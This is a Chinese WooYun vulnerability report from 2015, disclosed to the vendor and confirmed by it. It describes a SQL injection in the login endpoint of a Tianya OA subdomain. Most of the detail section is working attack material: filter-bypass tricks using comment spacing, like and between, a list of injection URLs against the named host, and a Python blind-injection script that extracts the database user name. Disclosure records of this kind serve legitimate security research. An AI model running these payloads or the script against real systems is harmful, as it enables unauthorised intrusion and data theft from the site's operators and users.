当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152991

漏洞标题:天涯某分站存在SQL注入漏洞(绕过防护\附验证脚本)

相关厂商:天涯社区

漏洞作者: 浮萍

提交时间:2015-11-09 14:19

修复时间:2015-12-24 15:36

公开时间:2015-12-24 15:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-09: 细节已通知厂商并且等待厂商处理中
2015-11-09: 厂商已经确认,细节仅向厂商公开
2015-11-19: 细节向核心白帽子及相关领域专家公开
2015-11-29: 细节向普通白帽子公开
2015-12-09: 细节向实习白帽子公开
2015-12-24: 细节向公众公开

简要描述:

详细说明:

http://wooyun.org/bugs/wooyun-2015-0148934
提示已经修复
经测试
过滤了空格和等号
所以仍然可以注入
注入点http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'and 'a'='a


Snap289.jpg


提示Tips:System error.

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'and'a'like'a


Snap290.jpg


返回正常
可以使用like来替换and
空格可以使用/**/
大于号、小于号、等号可以用between and 来替换

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len('aa')/**/between/**/0/**/and/**/3/**/and/**/'a'/**/like/**/'a


Snap291.jpg


其他测试用的payload

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/'a'/**/like/**/'a
http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len('aa')/**/between/**/0/**/and/**/3/**/and/**/'a'/**/like/**/'a
http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/@@version))/**/between/**/0/**/and/**/1002/**/and/**/'a'/**/like/**/'a
http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/user))/**/between/**/0/**/and/**/1002/**/and/**/'a'/**/like/**/'a
http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/user))/**/between/**/7/**/and/**/7/**/and/**/'a'/**/like/**/'a
http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/((select/**/user))/**/like/**/'ecology'/**/and/**/'a'/**/like/**/'a
http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/ascii(substring(user,1,1))between/**/101/**/and/**/101/**/and/**/'a'/**/like/**/'a


http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/user))/**/between/**/7/**/and/**/7/**/and/**/'a'/**/like/**/'a
当前用户长度为7

Snap293.jpg


漏洞证明:

验证脚本

#encoding=utf-8
import httplib
import string
import sys
import random
import urllib
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive user:'
user= ''
for i in range(1, 8):
for payload in payloads:

s = "method=checkTokenKey&loginid=1999001'/**/and/**/ascii(substring(user,%s,1))between/**/%s/**/and/**/%s/**/and/**/'a'/**/like/**/'a"% (i, ord(payload),ord(payload))
conn = httplib.HTTPConnection('oa.tianya.cn', timeout=150)
conn.request(method='POST',
url='/login/LoginOperation.jsp',
body=s,
headers=headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()
print '.',
if html_doc.count('3') > 0:
user += payload
print '\n\n[in progress]', user,
break
print '\n\n[Done] user is %s' % user


Snap292.jpg

修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-09 15:36

厂商回复:

感谢浮萍白帽子提醒和提供的脚本,已验证并确认该漏洞,已提交相关部门修复。这oa系统漏洞多得真是易了狗了。。。

最新状态:

暂无